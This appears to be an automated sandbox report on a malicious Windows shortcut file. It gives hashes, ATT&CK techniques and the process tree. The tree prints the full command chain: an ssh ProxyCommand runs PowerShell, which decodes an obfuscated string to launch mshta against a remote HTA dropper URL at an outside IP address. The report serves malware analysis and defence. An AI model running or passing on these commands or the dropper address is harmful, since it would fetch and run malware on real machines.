32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f

Analysis

max time kernel
94s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-12-2024 02:13

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General

Target

32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f.lnk
Size

2KB
MD5

0306addb386436ae663da152bee03226
SHA1

0c35bff3dafec0f21436b6db025a24e0102ce7b7
SHA256

32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f
SHA512

b5508d380b65cc364d378f1ea69d33b9f4eed2f45b9cd48a4b13cd51e97d7e77eccf81516eca2b14229bfda80d05277693a03093ea7f553db88c78946bc718f7

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://150.241.97.10/aaa.mp4

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	2044	mshta.exe
10	2044	mshta.exe
15	2044	mshta.exe
23	2044	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
2232	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2232	powershell.exe
2232	powershell.exe
2204	powershell.exe
2204	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2232	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 3968	1340	cmd.exe	83
PID 1340 wrote to memory of 3968	1340	cmd.exe	83
PID 3968 wrote to memory of 2232	3968	ssh.exe	84
PID 3968 wrote to memory of 2232	3968	ssh.exe	84
PID 2232 wrote to memory of 2204	2232	powershell.exe	85
PID 2232 wrote to memory of 2204	2232	powershell.exe	85
PID 2204 wrote to memory of 2044	2204	powershell.exe	86
PID 2204 wrote to memory of 2044	2204	powershell.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\32a98d1b299d1feebb096cdeb38433013b7db6adf5d9923b539390d777bfac3f.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\System32\OpenSSH\ssh.exe
  "C:\Windows\System32\OpenSSH\ssh.exe" -o ProxyCommand="powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)" .
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell powershell -Command '|\|AbH4Q3w|fYZxmshta https://150.241.97.10/aaa.mp4|\|AbH4Q3w|fYZx'.SubString(15, 35)
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://150.241.97.10/aaa.mp4"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2204
    - - C:\Windows\system32\mshta.exe
        
        "C:\Windows\system32\mshta.exe" https://150.241.97.10/aaa.mp4
        5⤵
        Blocklisted process makes network request
        
        PID:2044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
c2725ae3d241d846de6cbcd661b32aaf

SHA1
26381f5b9872f011e21da499eb50c467715e23da

SHA256
35a882b070c9f98c728af00a387afd3b9473d550a661efce9b8b20b4ad0012df

SHA512
6bcae1738dd58c115d713db3a667d3b027a416928036df8b66e397b35b046c9f86d03411cd088c3c056f744ab1e8ee0d97dd1dc5b1ebf0e3d1ccf367c55ee160

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qid5ilr.bbe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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memory/2232-0-0x00007FFBFD203000-0x00007FFBFD205000-memory.dmp

Filesize
8KB

Download
memory/2232-10-0x000001B52C0D0000-0x000001B52C0F2000-memory.dmp

Filesize
136KB

Download
memory/2232-11-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/2232-12-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

Download
memory/2232-27-0x00007FFBFD200000-0x00007FFBFDCC1000-memory.dmp

Filesize
10.8MB

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